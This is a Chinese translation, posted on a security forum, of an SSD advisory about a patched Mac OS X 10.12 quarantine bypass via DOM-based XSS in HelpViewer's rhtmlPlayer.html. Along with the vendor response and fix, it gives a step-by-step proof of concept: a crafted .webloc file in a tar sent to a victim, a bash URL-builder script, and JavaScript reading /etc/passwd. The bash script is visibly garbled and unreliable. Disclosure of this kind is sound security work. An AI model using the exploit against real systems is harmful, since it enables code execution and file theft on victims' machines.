首页
社区
课程
招聘
[原创]SSD安全公告 – Mac OS X 10.12隔离机制绕过漏洞
发表于: 2017-10-15 14:43 3906

[原创]SSD安全公告 – Mac OS X 10.12隔离机制绕过漏洞

2017-10-15 14:43
3906

Full report:

https://blogs.securiteam.com/index.php/archives/3481

漏洞概要

Mac OS X存在一个漏洞,该漏洞允许攻击者绕过Apple的隔离机制,不受任何限制执行任意JavaScript代码.

漏洞提交者

来自WeAreSegment的安全研究者Filippo Cavallarin向Beyond Security的SSD报告了该漏洞.

厂商响应

苹果公司已于2017年6月27日收到了我们的报告,并和我们进行了多次沟通。苹果公司通知我们,在即将发布的High Sierra操作系统中会修补这个漏洞。这之后,苹果公司再没有提供任何其他信息 – 既没有链接公告,也没有提供关于CVE编号分配的任何信息.

 

我们已经验证在Mac OS X High Sierra中已不存在该漏洞。对于该漏洞的解决办法是升级到Mac OS X High Sierra,或者移除rhtmlPlayer.html文件修复该漏洞.

漏洞详细信息

苹果隔离机制的运行原理是在下载的文件上设置一个扩展属性(从已下载的归档文档/图片提取的文件也适用),以便系统在受限制的环境中打开/执行这些文件.

 

例如,一个被隔离的HTML文件不能加载本地资源.

 

此漏洞存在于一个html文件(Mac OS X内核的一部分)中,容易受到基于DOM的XSS攻击,允许在其(无限制)上下文中执行任意JavaScript命令.

 

上述文件的具体路径为:/System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html

 

文件包含如下代码:

<script type = "text / javascript" charset = "utf-8">

setBasePathFromString (urlParam ("rhtml"));
loadLocStrings ();
loadJavascriptLibs ();

function init () {/ * <- called by <body onload = "init ()" * /
  [...]

  rHTMLPath = urlParam ("rhtml"); / * <- takes 'rhtml' parameters from current url *

  [...]

  self.contentHttpReq.open ('GET', rHTMLPath, true);
  self.contentHttpReq.onreadystatechange = function () {
      if (self.contentHttpReq.readyState == 4) {
          loadTutorial (self.contentHttpReq.responseText);
      }
  }
  [...]
}

function loadTutorial (response) {
  var rHTMLPath = urlParam ("rhtml");

  // this will create a tutorialData item
  eval (response);
  [...]
}

function loadLocStrings ()
{
  var headID = document.getElementsByTagName ("head") [0];         
  var rHTMLPath = urlParam ("rhtml");

  rHTMLPath = rHTMLPath.replace ("metaData.html", "localizedStrings.js");
  var newScript = document.createElement ('script');
  newScript.type = 'text / javascript';
  newScript.src = rHTMLPath;
  headID.appendChild (newScript);      
}
[...]
</ script>

简而言之,这段代码从“rhtml”查询字符串参数中提取URL地址,向该URL发出请求,并将响应数据作为JavaScript代码加以执行.

 

下面的代码包含两段不同的基于DOM的XSS的代码。第一个是在loadLocStrings()函数中创建一个SCRIPT元素,并使用“rhtml”参数作为其“src”属性。第二个是在init()函数中使用“rhtml”参数进行ajax调用,然后将响应直接传递给eval()。这样做的结果是同样的载荷被执行两次.

 

攻击者通过提供一个uri,就可以控制响应数据,进而获得代码执行.

 

通过使用.webloc文件是一种可能的漏洞利用方式。基本上这些文件都包含一个URL,他们只需在Safari中加载即可。通过构造一个.webloc文件,并诱导受害者打开,攻击者就可以在受害者的计算机上以高权限执行JavaScript命令.

 

由于.webloc文件同样使用扩展属性来存储数据,因此攻击者必须将文件打包放在tar文件中(或其他任何支持扩展属性的文件格式)中.

漏洞证明

通过以下步骤复现漏洞
创建一个你想要要在目标上执行的JavaScript文件
使用base64对文件内容编码
将其编码为“uri组件”(比如,使用js的encodeURIComponent函数完成这个任务)
使用它来构造如下形式的uri:data:text / plain; base64,<urlencoded base64></urlencoded>
在开头添加如下字符串:file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml =
使用Safari打开它
将其另存为书签
将该书签拖放到Finder中(此时会创建一个.webloc文件,如果扩展名不是.webloc,重命名为.webloc)
创建一个包含.webloc文件的tar归档文件
将归档文件发送给受害者

 

请注意,受限于rhtmlPlayer.html的处理流程,为了访问本地资源,JavaScript代码的第一行必须是:

document.getElementsByTagName ("base") [0] .href = "";

以下bash脚本会将JavaScript文件转换为最终的“文件”URL:

BOF
#! / bin / bash

BASEURL = "file: ///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html? Rhtml ="
() () () () () () () () () ()
DATAURI = "data: text / plain; base64,"

JSFILE = $ 1

if ["$ JSFILE" = ""]; then
  echo "usage: $ 0 <jsfile>"
  exit
fi

JS = $ BASEJS`cat $ JSFILE` "}) ();"
Sed 's / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / /
URL = "$ BASEURL" "$ DATAURI" "$ ENCJS"

echo -ne "Paste the url below into Safari's url bar: \ n \ 033 [33m $ URL \ 033 [0m \ n"
EOF

以下Javascript代码可以在受害者机器上显示/ etc / passwd文件内容:

BOF
xhr = new XMLHttpRequest ();
xhr.open ("GET", "/ etc / passwd", true);
xhr.onreadystatechange = function () {
 if (xhr.readyState == 4) {
  alert (xhr.responseText);
 }
};
xhr.send ();
EOF

请注意,只有Safari才能通过ajax成功加载本地资源(Chrome和Firefox不行)。然而在漏洞利用中,这不是问题,因为.webloc文件总是使用Safari打开.


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//